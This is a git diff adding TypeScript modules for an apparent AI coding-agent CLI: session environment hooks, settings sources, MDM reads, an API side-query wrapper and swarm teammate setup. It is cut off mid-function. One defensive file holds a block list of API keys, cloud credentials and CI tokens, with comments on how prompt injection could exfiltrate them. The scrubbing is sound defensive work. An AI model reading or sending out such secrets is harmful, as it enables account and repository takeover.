+export async function clearCwdEnvFiles(): Promise<void> {
+  try {
+    const dir = await getSessionEnvDirPath()
+    const files = await readdir(dir)
+    await Promise.all(
+      files
+        .filter(
+          f =>
+            (f.startsWith('filechanged-hook-') ||
+              f.startsWith('cwdchanged-hook-')) &&
+            HOOK_ENV_REGEX.test(f),
+        )
+        .map(f => writeFile(join(dir, f), '')),
+    )
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code !== 'ENOENT') {
+      logForDebugging(`Failed to clear cwd env files: ${errorMessage(e)}`)
+    }
+  }
+}
+
+export function invalidateSessionEnvCache(): void {
+  logForDebugging('Invalidating session environment cache')
+  sessionEnvScript = undefined
+}
+
+export async function getSessionEnvironmentScript(): Promise<string | null> {
+  if (getPlatform() === 'windows') {
+    logForDebugging('Session environment not yet supported on Windows')
+    return null
+  }
+
+  if (sessionEnvScript !== undefined) {
+    return sessionEnvScript
+  }
+
+  const scripts: string[] = []
+
+  // Check for CLAUDE_ENV_FILE passed from parent process (e.g., HFI trajectory runner)
+  // This allows venv/conda activation to persist across shell commands
+  const envFile = process.env.CLAUDE_ENV_FILE
+  if (envFile) {
+    try {
+      const envScript = (await readFile(envFile, 'utf8')).trim()
+      if (envScript) {
+        scripts.push(envScript)
+        logForDebugging(
+          `Session environment loaded from CLAUDE_ENV_FILE: ${envFile} (${envScript.length} chars)`,
+        )
+      }
+    } catch (e: unknown) {
+      const code = getErrnoCode(e)
+      if (code !== 'ENOENT') {
+        logForDebugging(`Failed to read CLAUDE_ENV_FILE: ${errorMessage(e)}`)
+      }
+    }
+  }
+
+  // Load hook environment files from session directory
+  const sessionEnvDir = await getSessionEnvDirPath()
+  try {
+    const files = await readdir(sessionEnvDir)
+    // We are sorting the hook env files by the order in which they are listed
+    // in the settings.json file so that the resulting env is deterministic
+    const hookFiles = files
+      .filter(f => HOOK_ENV_REGEX.test(f))
+      .sort(sortHookEnvFiles)
+
+    for (const file of hookFiles) {
+      const filePath = join(sessionEnvDir, file)
+      try {
+        const content = (await readFile(filePath, 'utf8')).trim()
+        if (content) {
+          scripts.push(content)
+        }
+      } catch (e: unknown) {
+        const code = getErrnoCode(e)
+        if (code !== 'ENOENT') {
+          logForDebugging(
+            `Failed to read hook file ${filePath}: ${errorMessage(e)}`,
+          )
+        }
+      }
+    }
+
+    if (hookFiles.length > 0) {
+      logForDebugging(
+        `Session environment loaded from ${hookFiles.length} hook file(s)`,
+      )
+    }
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code !== 'ENOENT') {
+      logForDebugging(
+        `Failed to load session environment from hooks: ${errorMessage(e)}`,
+      )
+    }
+  }
+
+  if (scripts.length === 0) {
+    logForDebugging('No session environment scripts found')
+    sessionEnvScript = null
+    return sessionEnvScript
+  }
+
+  sessionEnvScript = scripts.join('\n')
+  logForDebugging(
+    `Session environment script ready (${sessionEnvScript.length} chars total)`,
+  )
+  return sessionEnvScript
+}
+
+const HOOK_ENV_PRIORITY: Record<string, number> = {
+  setup: 0,
+  sessionstart: 1,
+  cwdchanged: 2,
+  filechanged: 3,
+}
+const HOOK_ENV_REGEX =
+  /^(setup|sessionstart|cwdchanged|filechanged)-hook-(\d+)\.sh$/
+
+function sortHookEnvFiles(a: string, b: string): number {
+  const aMatch = a.match(HOOK_ENV_REGEX)
+  const bMatch = b.match(HOOK_ENV_REGEX)
+  const aType = aMatch?.[1] || ''
+  const bType = bMatch?.[1] || ''
+  if (aType !== bType) {
+    return (HOOK_ENV_PRIORITY[aType] ?? 99) - (HOOK_ENV_PRIORITY[bType] ?? 99)
+  }
+  const aIndex = parseInt(aMatch?.[2] || '0', 10)
+  const bIndex = parseInt(bMatch?.[2] || '0', 10)
+  return aIndex - bIndex
+}
diff --git a/cc-haha/src/utils/settings/constants.ts b/cc-haha/src/utils/settings/constants.ts
new file mode 100644
index 0000000..4a8aeda
--- /dev/null
+++ b/cc-haha/src/utils/settings/constants.ts
@@ -0,0 +1,202 @@
+import { getAllowedSettingSources } from '../../bootstrap/state.js'
+
+/**
+ * All possible sources where settings can come from
+ * Order matters - later sources override earlier ones
+ */
+export const SETTING_SOURCES = [
+  // User settings (global)
+  'userSettings',
+
+  // Project settings (shared per-directory)
+  'projectSettings',
+
+  // Local settings (gitignored)
+  'localSettings',
+
+  // Flag settings (from --settings flag)
+  'flagSettings',
+
+  // Policy settings (managed-settings.json or remote settings from API)
+  'policySettings',
+] as const
+
+export type SettingSource = (typeof SETTING_SOURCES)[number]
+
+export function getSettingSourceName(source: SettingSource): string {
+  switch (source) {
+    case 'userSettings':
+      return 'user'
+    case 'projectSettings':
+      return 'project'
+    case 'localSettings':
+      return 'project, gitignored'
+    case 'flagSettings':
+      return 'cli flag'
+    case 'policySettings':
+      return 'managed'
+  }
+}
+
+/**
+ * Get short display name for a setting source (capitalized, for context/skills UI)
+ * @param source The setting source or 'plugin'/'built-in'
+ * @returns Short capitalized display name like 'User', 'Project', 'Plugin'
+ */
+export function getSourceDisplayName(
+  source: SettingSource | 'plugin' | 'built-in',
+): string {
+  switch (source) {
+    case 'userSettings':
+      return 'User'
+    case 'projectSettings':
+      return 'Project'
+    case 'localSettings':
+      return 'Local'
+    case 'flagSettings':
+      return 'Flag'
+    case 'policySettings':
+      return 'Managed'
+    case 'plugin':
+      return 'Plugin'
+    case 'built-in':
+      return 'Built-in'
+  }
+}
+
+/**
+ * Get display name for a setting or permission rule source (lowercase, for inline use)
+ * @param source The setting source or permission rule source
+ * @returns Display name for the source in lowercase
+ */
+export function getSettingSourceDisplayNameLowercase(
+  source: SettingSource | 'cliArg' | 'command' | 'session',
+): string {
+  switch (source) {
+    case 'userSettings':
+      return 'user settings'
+    case 'projectSettings':
+      return 'shared project settings'
+    case 'localSettings':
+      return 'project local settings'
+    case 'flagSettings':
+      return 'command line arguments'
+    case 'policySettings':
+      return 'enterprise managed settings'
+    case 'cliArg':
+      return 'CLI argument'
+    case 'command':
+      return 'command configuration'
+    case 'session':
+      return 'current session'
+  }
+}
+
+/**
+ * Get display name for a setting or permission rule source (capitalized, for UI labels)
+ * @param source The setting source or permission rule source
+ * @returns Display name for the source with first letter capitalized
+ */
+export function getSettingSourceDisplayNameCapitalized(
+  source: SettingSource | 'cliArg' | 'command' | 'session',
+): string {
+  switch (source) {
+    case 'userSettings':
+      return 'User settings'
+    case 'projectSettings':
+      return 'Shared project settings'
+    case 'localSettings':
+      return 'Project local settings'
+    case 'flagSettings':
+      return 'Command line arguments'
+    case 'policySettings':
+      return 'Enterprise managed settings'
+    case 'cliArg':
+      return 'CLI argument'
+    case 'command':
+      return 'Command configuration'
+    case 'session':
+      return 'Current session'
+  }
+}
+
+/**
+ * Parse the --setting-sources CLI flag into SettingSource array
+ * @param flag Comma-separated string like "user,project,local"
+ * @returns Array of SettingSource values
+ */
+export function parseSettingSourcesFlag(flag: string): SettingSource[] {
+  if (flag === '') return []
+
+  const names = flag.split(',').map(s => s.trim())
+  const result: SettingSource[] = []
+
+  for (const name of names) {
+    switch (name) {
+      case 'user':
+        result.push('userSettings')
+        break
+      case 'project':
+        result.push('projectSettings')
+        break
+      case 'local':
+        result.push('localSettings')
+        break
+      default:
+        throw new Error(
+          `Invalid setting source: ${name}. Valid options are: user, project, local`,
+        )
+    }
+  }
+
+  return result
+}
+
+/**
+ * Get enabled setting sources with policy/flag always included
+ * @returns Array of enabled SettingSource values
+ */
+export function getEnabledSettingSources(): SettingSource[] {
+  const allowed = getAllowedSettingSources()
+
+  // Always include policy and flag settings
+  const result = new Set<SettingSource>(allowed)
+  result.add('policySettings')
+  result.add('flagSettings')
+  return Array.from(result)
+}
+
+/**
+ * Check if a specific source is enabled
+ * @param source The source to check
+ * @returns true if the source should be loaded
+ */
+export function isSettingSourceEnabled(source: SettingSource): boolean {
+  const enabled = getEnabledSettingSources()
+  return enabled.includes(source)
+}
+
+/**
+ * Editable setting sources (excludes policySettings and flagSettings which are read-only)
+ */
+export type EditableSettingSource = Exclude<
+  SettingSource,
+  'policySettings' | 'flagSettings'
+>
+
+/**
+ * List of sources where permission rules can be saved, in display order.
+ * Used by permission-rule and hook-save UIs to present source options.
+ */
+export const SOURCES = [
+  'localSettings',
+  'projectSettings',
+  'userSettings',
+] as const satisfies readonly EditableSettingSource[]
+
+/**
+ * The JSON Schema URL for Claude Code settings
+ * You can edit the contents at https://github.com/SchemaStore/schemastore/blob/master/src/schemas/json/claude-code-settings.json
+ */
+export const CLAUDE_CODE_SETTINGS_SCHEMA_URL =
+  'https://json.schemastore.org/claude-code-settings.json'
diff --git a/cc-haha/src/utils/settings/mdm/rawRead.ts b/cc-haha/src/utils/settings/mdm/rawRead.ts
new file mode 100644
index 0000000..18aeaca
--- /dev/null
+++ b/cc-haha/src/utils/settings/mdm/rawRead.ts
@@ -0,0 +1,130 @@
+/**
+ * Minimal module for firing MDM subprocess reads without blocking the event loop.
+ * Has minimal imports — only child_process, fs, and mdmConstants (which only imports os).
+ *
+ * Two usage patterns:
+ * 1. Startup: startMdmRawRead() fires at main.tsx module evaluation, results consumed later via getMdmRawReadPromise()
+ * 2. Poll/fallback: fireRawRead() creates a fresh read on demand (used by changeDetector and SDK entrypoint)
+ *
+ * Raw stdout is consumed by mdmSettings.ts via consumeRawReadResult().
+ */
+
+import { execFile } from 'child_process'
+import { existsSync } from 'fs'
+import {
+  getMacOSPlistPaths,
+  MDM_SUBPROCESS_TIMEOUT_MS,
+  PLUTIL_ARGS_PREFIX,
+  PLUTIL_PATH,
+  WINDOWS_REGISTRY_KEY_PATH_HKCU,
+  WINDOWS_REGISTRY_KEY_PATH_HKLM,
+  WINDOWS_REGISTRY_VALUE_NAME,
+} from './constants.js'
+
+export type RawReadResult = {
+  plistStdouts: Array<{ stdout: string; label: string }> | null
+  hklmStdout: string | null
+  hkcuStdout: string | null
+}
+
+let rawReadPromise: Promise<RawReadResult> | null = null
+
+function execFilePromise(
+  cmd: string,
+  args: string[],
+): Promise<{ stdout: string; code: number | null }> {
+  return new Promise(resolve => {
+    execFile(
+      cmd,
+      args,
+      { encoding: 'utf-8', timeout: MDM_SUBPROCESS_TIMEOUT_MS },
+      (err, stdout) => {
+        // biome-ignore lint/nursery/noFloatingPromises: resolve() is not a floating promise
+        resolve({ stdout: stdout ?? '', code: err ? 1 : 0 })
+      },
+    )
+  })
+}
+
+/**
+ * Fire fresh subprocess reads for MDM settings and return raw stdout.
+ * On macOS: spawns plutil for each plist path in parallel, picks first winner.
+ * On Windows: spawns reg query for HKLM and HKCU in parallel.
+ * On Linux: returns empty (no MDM equivalent).
+ */
+export function fireRawRead(): Promise<RawReadResult> {
+  return (async (): Promise<RawReadResult> => {
+    if (process.platform === 'darwin') {
+      const plistPaths = getMacOSPlistPaths()
+
+      const allResults = await Promise.all(
+        plistPaths.map(async ({ path, label }) => {
+          // Fast-path: skip the plutil subprocess if the plist file does not
+          // exist. Spawning plutil takes ~5ms even for an immediate ENOENT,
+          // and non-MDM machines never have these files.
+          // Uses synchronous existsSync to preserve the spawn-during-imports
+          // invariant: execFilePromise must be the first await so plutil
+          // spawns before the event loop polls (see main.tsx:3-4).
+          if (!existsSync(path)) {
+            return { stdout: '', label, ok: false }
+          }
+          const { stdout, code } = await execFilePromise(PLUTIL_PATH, [
+            ...PLUTIL_ARGS_PREFIX,
+            path,
+          ])
+          return { stdout, label, ok: code === 0 && !!stdout }
+        }),
+      )
+
+      // First source wins (array is in priority order)
+      const winner = allResults.find(r => r.ok)
+      return {
+        plistStdouts: winner
+          ? [{ stdout: winner.stdout, label: winner.label }]
+          : [],
+        hklmStdout: null,
+        hkcuStdout: null,
+      }
+    }
+
+    if (process.platform === 'win32') {
+      const [hklm, hkcu] = await Promise.all([
+        execFilePromise('reg', [
+          'query',
+          WINDOWS_REGISTRY_KEY_PATH_HKLM,
+          '/v',
+          WINDOWS_REGISTRY_VALUE_NAME,
+        ]),
+        execFilePromise('reg', [
+          'query',
+          WINDOWS_REGISTRY_KEY_PATH_HKCU,
+          '/v',
+          WINDOWS_REGISTRY_VALUE_NAME,
+        ]),
+      ])
+      return {
+        plistStdouts: null,
+        hklmStdout: hklm.code === 0 ? hklm.stdout : null,
+        hkcuStdout: hkcu.code === 0 ? hkcu.stdout : null,
+      }
+    }
+
+    return { plistStdouts: null, hklmStdout: null, hkcuStdout: null }
+  })()
+}
+
+/**
+ * Fire raw subprocess reads once for startup. Called at main.tsx module evaluation.
+ * Results are consumed via getMdmRawReadPromise().
+ */
+export function startMdmRawRead(): void {
+  if (rawReadPromise) return
+  rawReadPromise = fireRawRead()
+}
+
+/**
+ * Get the startup promise. Returns null if startMdmRawRead() wasn't called.
+ */
+export function getMdmRawReadPromise(): Promise<RawReadResult> | null {
+  return rawReadPromise
+}
diff --git a/cc-haha/src/utils/settings/validateEditTool.ts b/cc-haha/src/utils/settings/validateEditTool.ts
new file mode 100644
index 0000000..8e68b34
--- /dev/null
+++ b/cc-haha/src/utils/settings/validateEditTool.ts
@@ -0,0 +1,45 @@
+import type { ValidationResult } from 'src/Tool.js'
+import { isClaudeSettingsPath } from '../permissions/filesystem.js'
+import { validateSettingsFileContent } from './validation.js'
+
+/**
+ * Validates settings file edits to ensure the result conforms to SettingsSchema.
+ * This is used by FileEditTool to avoid code duplication.
+ *
+ * @param filePath - The file path being edited
+ * @param originalContent - The original file content before edits
+ * @param getUpdatedContent - A closure that returns the content after applying edits
+ * @returns Validation result with error details if validation fails
+ */
+export function validateInputForSettingsFileEdit(
+  filePath: string,
+  originalContent: string,
+  getUpdatedContent: () => string,
+): Extract<ValidationResult, { result: false }> | null {
+  // Only validate Claude settings files
+  if (!isClaudeSettingsPath(filePath)) {
+    return null
+  }
+
+  // Check if the current file (before edit) conforms to the schema
+  const beforeValidation = validateSettingsFileContent(originalContent)
+
+  if (!beforeValidation.isValid) {
+    // If the before version is invalid, allow the edit (don't block it)
+    return null
+  }
+
+  // If the before version is valid, ensure the after version is also valid
+  const updatedContent = getUpdatedContent()
+  const afterValidation = validateSettingsFileContent(updatedContent)
+
+  if (!afterValidation.isValid) {
+    return {
+      result: false,
+      message: `Claude Code settings.json validation failed after edit:\n${afterValidation.error}\n\nFull schema:\n${afterValidation.fullSchema}\nIMPORTANT: Do not update the env unless explicitly instructed to do so.`,
+      errorCode: 10,
+    }
+  }
+
+  return null
+}
diff --git a/cc-haha/src/utils/sideQuery.ts b/cc-haha/src/utils/sideQuery.ts
new file mode 100644
index 0000000..4e6d4d7
--- /dev/null
+++ b/cc-haha/src/utils/sideQuery.ts
@@ -0,0 +1,222 @@
+import type Anthropic from '@anthropic-ai/sdk'
+import type { BetaToolUnion } from '@anthropic-ai/sdk/resources/beta/messages.js'
+import {
+  getLastApiCompletionTimestamp,
+  setLastApiCompletionTimestamp,
+} from '../bootstrap/state.js'
+import { STRUCTURED_OUTPUTS_BETA_HEADER } from '../constants/betas.js'
+import type { QuerySource } from '../constants/querySource.js'
+import {
+  getAttributionHeader,
+  getCLISyspromptPrefix,
+} from '../constants/system.js'
+import { logEvent } from '../services/analytics/index.js'
+import type { AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS } from '../services/analytics/metadata.js'
+import { getAPIMetadata } from '../services/api/claude.js'
+import { getAnthropicClient } from '../services/api/client.js'
+import { getModelBetas, modelSupportsStructuredOutputs } from './betas.js'
+import { computeFingerprint } from './fingerprint.js'
+import { normalizeModelStringForAPI } from './model/model.js'
+
+type MessageParam = Anthropic.MessageParam
+type TextBlockParam = Anthropic.TextBlockParam
+type Tool = Anthropic.Tool
+type ToolChoice = Anthropic.ToolChoice
+type BetaMessage = Anthropic.Beta.Messages.BetaMessage
+type BetaJSONOutputFormat = Anthropic.Beta.Messages.BetaJSONOutputFormat
+type BetaThinkingConfigParam = Anthropic.Beta.Messages.BetaThinkingConfigParam
+
+export type SideQueryOptions = {
+  /** Model to use for the query */
+  model: string
+  /**
+   * System prompt - string or array of text blocks (will be prefixed with CLI attribution).
+   *
+   * The attribution header is always placed in its own TextBlockParam block to ensure
+   * server-side parsing correctly extracts the cc_entrypoint value without including
+   * system prompt content.
+   */
+  system?: string | TextBlockParam[]
+  /** Messages to send (supports cache_control on content blocks) */
+  messages: MessageParam[]
+  /** Optional tools (supports both standard Tool[] and BetaToolUnion[] for custom tool types) */
+  tools?: Tool[] | BetaToolUnion[]
+  /** Optional tool choice (use { type: 'tool', name: 'x' } for forced output) */
+  tool_choice?: ToolChoice
+  /** Optional JSON output format for structured responses */
+  output_format?: BetaJSONOutputFormat
+  /** Max tokens (default: 1024) */
+  max_tokens?: number
+  /** Max retries (default: 2) */
+  maxRetries?: number
+  /** Abort signal */
+  signal?: AbortSignal
+  /** Skip CLI system prompt prefix (keeps attribution header for OAuth). For internal classifiers that provide their own prompt. */
+  skipSystemPromptPrefix?: boolean
+  /** Temperature override */
+  temperature?: number
+  /** Thinking budget (enables thinking), or `false` to send `{ type: 'disabled' }`. */
+  thinking?: number | false
+  /** Stop sequences — generation stops when any of these strings is emitted */
+  stop_sequences?: string[]
+  /** Attributes this call in tengu_api_success for COGS joining against reporting.sampling_calls. */
+  querySource: QuerySource
+}
+
+/**
+ * Extract text from first user message for fingerprint computation.
+ */
+function extractFirstUserMessageText(messages: MessageParam[]): string {
+  const firstUserMessage = messages.find(m => m.role === 'user')
+  if (!firstUserMessage) return ''
+
+  const content = firstUserMessage.content
+  if (typeof content === 'string') return content
+
+  // Array of content blocks - find first text block
+  const textBlock = content.find(block => block.type === 'text')
+  return textBlock?.type === 'text' ? textBlock.text : ''
+}
+
+/**
+ * Lightweight API wrapper for "side queries" outside the main conversation loop.
+ *
+ * Use this instead of direct client.beta.messages.create() calls to ensure
+ * proper OAuth token validation with fingerprint attribution headers.
+ *
+ * This handles:
+ * - Fingerprint computation for OAuth validation
+ * - Attribution header injection
+ * - CLI system prompt prefix
+ * - Proper betas for the model
+ * - API metadata
+ * - Model string normalization (strips [1m] suffix for API)
+ *
+ * @example
+ * // Permission explainer
+ * await sideQuery({ querySource: 'permission_explainer', model, system: SYSTEM_PROMPT, messages, tools, tool_choice })
+ *
+ * @example
+ * // Session search
+ * await sideQuery({ querySource: 'session_search', model, system: SEARCH_PROMPT, messages })
+ *
+ * @example
+ * // Model validation
+ * await sideQuery({ querySource: 'model_validation', model, max_tokens: 1, messages: [{ role: 'user', content: 'Hi' }] })
+ */
+export async function sideQuery(opts: SideQueryOptions): Promise<BetaMessage> {
+  const {
+    model,
+    system,
+    messages,
+    tools,
+    tool_choice,
+    output_format,
+    max_tokens = 1024,
+    maxRetries = 2,
+    signal,
+    skipSystemPromptPrefix,
+    temperature,
+    thinking,
+    stop_sequences,
+  } = opts
+
+  const client = await getAnthropicClient({
+    maxRetries,
+    model,
+    source: 'side_query',
+  })
+  const betas = [...getModelBetas(model)]
+  // Add structured-outputs beta if using output_format and provider supports it
+  if (
+    output_format &&
+    modelSupportsStructuredOutputs(model) &&
+    !betas.includes(STRUCTURED_OUTPUTS_BETA_HEADER)
+  ) {
+    betas.push(STRUCTURED_OUTPUTS_BETA_HEADER)
+  }
+
+  // Extract first user message text for fingerprint
+  const messageText = extractFirstUserMessageText(messages)
+
+  // Compute fingerprint for OAuth attribution
+  const fingerprint = computeFingerprint(messageText, MACRO.VERSION)
+  const attributionHeader = getAttributionHeader(fingerprint)
+
+  // Build system as array to keep attribution header in its own block
+  // (prevents server-side parsing from including system content in cc_entrypoint)
+  const systemBlocks: TextBlockParam[] = [
+    attributionHeader ? { type: 'text', text: attributionHeader } : null,
+    // Skip CLI system prompt prefix for internal classifiers that provide their own prompt
+    ...(skipSystemPromptPrefix
+      ? []
+      : [
+          {
+            type: 'text' as const,
+            text: getCLISyspromptPrefix({
+              isNonInteractive: false,
+              hasAppendSystemPrompt: false,
+            }),
+          },
+        ]),
+    ...(Array.isArray(system)
+      ? system
+      : system
+        ? [{ type: 'text' as const, text: system }]
+        : []),
+  ].filter((block): block is TextBlockParam => block !== null)
+
+  let thinkingConfig: BetaThinkingConfigParam | undefined
+  if (thinking === false) {
+    thinkingConfig = { type: 'disabled' }
+  } else if (thinking !== undefined) {
+    thinkingConfig = {
+      type: 'enabled',
+      budget_tokens: Math.min(thinking, max_tokens - 1),
+    }
+  }
+
+  const normalizedModel = normalizeModelStringForAPI(model)
+  const start = Date.now()
+  // biome-ignore lint/plugin: this IS the wrapper that handles OAuth attribution
+  const response = await client.beta.messages.create(
+    {
+      model: normalizedModel,
+      max_tokens,
+      system: systemBlocks,
+      messages,
+      ...(tools && { tools }),
+      ...(tool_choice && { tool_choice }),
+      ...(output_format && { output_config: { format: output_format } }),
+      ...(temperature !== undefined && { temperature }),
+      ...(stop_sequences && { stop_sequences }),
+      ...(thinkingConfig && { thinking: thinkingConfig }),
+      ...(betas.length > 0 && { betas }),
+      metadata: getAPIMetadata(),
+    },
+    { signal },
+  )
+
+  const requestId =
+    (response as { _request_id?: string | null })._request_id ?? undefined
+  const now = Date.now()
+  const lastCompletion = getLastApiCompletionTimestamp()
+  logEvent('tengu_api_success', {
+    requestId:
+      requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    querySource:
+      opts.querySource as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    model:
+      normalizedModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    inputTokens: response.usage.input_tokens,
+    outputTokens: response.usage.output_tokens,
+    cachedInputTokens: response.usage.cache_read_input_tokens ?? 0,
+    uncachedInputTokens: response.usage.cache_creation_input_tokens ?? 0,
+    durationMsIncludingRetries: now - start,
+    timeSinceLastApiCallMs:
+      lastCompletion !== null ? now - lastCompletion : undefined,
+  })
+  setLastApiCompletionTimestamp(now)
+
+  return response
+}
diff --git a/cc-haha/src/utils/statusNoticeHelpers.ts b/cc-haha/src/utils/statusNoticeHelpers.ts
new file mode 100644
index 0000000..e445ccf
--- /dev/null
+++ b/cc-haha/src/utils/statusNoticeHelpers.ts
@@ -0,0 +1,20 @@
+import { roughTokenCountEstimation } from '../services/tokenEstimation.js'
+import type { AgentDefinitionsResult } from '../tools/AgentTool/loadAgentsDir.js'
+
+export const AGENT_DESCRIPTIONS_THRESHOLD = 15_000
+
+/**
+ * Calculate cumulative token estimate for agent descriptions
+ */
+export function getAgentDescriptionsTotalTokens(
+  agentDefinitions?: AgentDefinitionsResult,
+): number {
+  if (!agentDefinitions) return 0
+
+  return agentDefinitions.activeAgents
+    .filter(a => a.source !== 'built-in')
+    .reduce((total, agent) => {
+      const description = `${agent.agentType}: ${agent.whenToUse}`
+      return total + roughTokenCountEstimation(description)
+    }, 0)
+}
diff --git a/cc-haha/src/utils/subprocessEnv.ts b/cc-haha/src/utils/subprocessEnv.ts
new file mode 100644
index 0000000..4eb62c9
--- /dev/null
+++ b/cc-haha/src/utils/subprocessEnv.ts
@@ -0,0 +1,99 @@
+import { isEnvTruthy } from './envUtils.js'
+
+/**
+ * Env vars to strip from subprocess environments when running inside GitHub
+ * Actions. This prevents prompt-injection attacks from exfiltrating secrets
+ * via shell expansion (e.g., ${ANTHROPIC_API_KEY}) in Bash tool commands.
+ *
+ * The parent claude process keeps these vars (needed for API calls, lazy
+ * credential reads). Only child processes (bash, shell snapshot, MCP stdio, LSP, hooks) are scrubbed.
+ *
+ * GITHUB_TOKEN / GH_TOKEN are intentionally NOT scrubbed — wrapper scripts
+ * (gh.sh) need them to call the GitHub API. That token is job-scoped and
+ * expires when the workflow ends.
+ */
+const GHA_SUBPROCESS_SCRUB = [
+  // Anthropic auth — claude re-reads these per-request, subprocesses don't need them
+  'ANTHROPIC_API_KEY',
+  'CLAUDE_CODE_OAUTH_TOKEN',
+  'ANTHROPIC_AUTH_TOKEN',
+  'ANTHROPIC_FOUNDRY_API_KEY',
+  'ANTHROPIC_CUSTOM_HEADERS',
+
+  // OTLP exporter headers — documented to carry Authorization=Bearer tokens
+  // for monitoring backends; read in-process by OTEL SDK, subprocesses never need them
+  'OTEL_EXPORTER_OTLP_HEADERS',
+  'OTEL_EXPORTER_OTLP_LOGS_HEADERS',
+  'OTEL_EXPORTER_OTLP_METRICS_HEADERS',
+  'OTEL_EXPORTER_OTLP_TRACES_HEADERS',
+
+  // Cloud provider creds — same pattern (lazy SDK reads)
+  'AWS_SECRET_ACCESS_KEY',
+  'AWS_SESSION_TOKEN',
+  'AWS_BEARER_TOKEN_BEDROCK',
+  'GOOGLE_APPLICATION_CREDENTIALS',
+  'AZURE_CLIENT_SECRET',
+  'AZURE_CLIENT_CERTIFICATE_PATH',
+
+  // GitHub Actions OIDC — consumed by the action's JS before claude spawns;
+  // leaking these allows minting an App installation token → repo takeover
+  'ACTIONS_ID_TOKEN_REQUEST_TOKEN',
+  'ACTIONS_ID_TOKEN_REQUEST_URL',
+
+  // GitHub Actions artifact/cache API — cache poisoning → supply-chain pivot
+  'ACTIONS_RUNTIME_TOKEN',
+  'ACTIONS_RUNTIME_URL',
+
+  // claude-code-action-specific duplicates — action JS consumes these during
+  // prepare, before spawning claude. ALL_INPUTS contains anthropic_api_key as JSON.
+  'ALL_INPUTS',
+  'OVERRIDE_GITHUB_TOKEN',
+  'DEFAULT_WORKFLOW_TOKEN',
+  'SSH_SIGNING_KEY',
+] as const
+
+/**
+ * Returns a copy of process.env with sensitive secrets stripped, for use when
+ * spawning subprocesses (Bash tool, shell snapshot, MCP stdio servers, LSP
+ * servers, shell hooks).
+ *
+ * Gated on CLAUDE_CODE_SUBPROCESS_ENV_SCRUB. claude-code-action sets this
+ * automatically when `allowed_non_write_users` is configured — the flag that
+ * exposes a workflow to untrusted content (prompt injection surface).
+ */
+// Registered by init.ts after the upstreamproxy module is dynamically imported
+// in CCR sessions. Stays undefined in non-CCR startups so we never pull in the
+// upstreamproxy module graph (upstreamproxy.ts + relay.ts) via a static import.
+let _getUpstreamProxyEnv: (() => Record<string, string>) | undefined
+
+/**
+ * Called from init.ts to wire up the proxy env function after the upstreamproxy
+ * module has been lazily loaded. Must be called before any subprocess is spawned.
+ */
+export function registerUpstreamProxyEnvFn(
+  fn: () => Record<string, string>,
+): void {
+  _getUpstreamProxyEnv = fn
+}
+
+export function subprocessEnv(): NodeJS.ProcessEnv {
+  // CCR upstreamproxy: inject HTTPS_PROXY + CA bundle vars so curl/gh/python
+  // in agent subprocesses route through the local relay. Returns {} when the
+  // proxy is disabled or not registered (non-CCR), so this is a no-op outside
+  // CCR containers.
+  const proxyEnv = _getUpstreamProxyEnv?.() ?? {}
+
+  if (!isEnvTruthy(process.env.CLAUDE_CODE_SUBPROCESS_ENV_SCRUB)) {
+    return Object.keys(proxyEnv).length > 0
+      ? { ...process.env, ...proxyEnv }
+      : process.env
+  }
+  const env = { ...process.env, ...proxyEnv }
+  for (const k of GHA_SUBPROCESS_SCRUB) {
+    delete env[k]
+    // GitHub Actions auto-creates INPUT_<NAME> for `with:` inputs, duplicating
+    // secrets like INPUT_ANTHROPIC_API_KEY. No-op for vars that aren't action inputs.
+    delete env[`INPUT_${k}`]
+  }
+  return env
+}
diff --git a/cc-haha/src/utils/swarm/teammateInit.ts b/cc-haha/src/utils/swarm/teammateInit.ts
new file mode 100644
index 0000000..db9cfb9
--- /dev/null
+++ b/cc-haha/src/utils/swarm/teammateInit.ts
@@ -0,0 +1,129 @@
+/**
+ * Teammate Initialization Module
+ *
+ * Handles initialization for Claude Code instances running as teammates in a swarm.
+ * Registers a Stop hook to notify the team leader when the teammate becomes idle.
+ */
+
+import type { AppState } from '../../state/AppState.js'
+import { logForDebugging } from '../debug.js'
+import { addFunctionHook } from '../hooks/sessionHooks.js'
+import { applyPermissionUpdate } from '../permissions/PermissionUpdate.js'
+import { jsonStringify } from '../slowOperations.js'
+import { getTeammateColor } from '../teammate.js'
+import {
+  createIdleNotification,
+  getLastPeerDmSummary,
+  writeToMailbox,
+} from '../teammateMailbox.js'
+import { readTeamFile, setMemberActive } from './teamHelpers.js'
+
+/**
+ * Initializes hooks for a teammate running in a swarm.
+ * Should be called early in session startup after AppState is available.
+ *
+ * Registers a Stop hook that sends an idle notification to the team leader
+ * when this teammate's session stops.
+ */
+export function initializeTeammateHooks(
+  setAppState: (updater: (prev: AppState) => AppState) => void,
+  sessionId: string,
+  teamInfo: { teamName: string; agentId: string; agentName: string },
+): void {
+  const { teamName, agentId, agentName } = teamInfo
+
+  // Read team file to get leader ID
+  const teamFile = readTeamFile(teamName)
+  if (!teamFile) {
+    logForDebugging(`[TeammateInit] Team file not found for team: ${teamName}`)
+    return
+  }
+
+  const leadAgentId = teamFile.leadAgentId
+
+  // Apply team-wide allowed paths if any exist
+  if (teamFile.teamAllowedPaths && teamFile.teamAllowedPaths.length > 0) {
+    logForDebugging(
+      `[TeammateInit] Found ${teamFile.teamAllowedPaths.length} team-wide allowed path(s)`,
+    )
+
+    for (const allowedPath of teamFile.teamAllowedPaths) {
+      // For absolute paths (starting with /), prepend one / to create //path/** pattern
+      // For relative paths, just use path/**
+      const ruleContent = allowedPath.path.startsWith('/')
+        ? `/${allowedPath.path}/**`
+        : `${allowedPath.path}/**`
+
+      logForDebugging(
+        `[TeammateInit] Applying team permission: ${allowedPath.toolName} allowed in ${allowedPath.path} (rule: ${ruleContent})`,
+      )
+
+      setAppState(prev => ({
+        ...prev,
+        toolPermissionContext: applyPermissionUpdate(
+          prev.toolPermissionContext,
+          {
+            type: 'addRules',
+            rules: [
+              {
+                toolName: allowedPath.toolName,
+                ruleContent,
+              },
+            ],
+            behavior: 'allow',
+            destination: 'session',
+          },
+        ),
+      }))
+    }
+  }
+
+  // Find the leader's name from the members array
+  const leadMember = teamFile.members.find(m => m.agentId === leadAgentId)
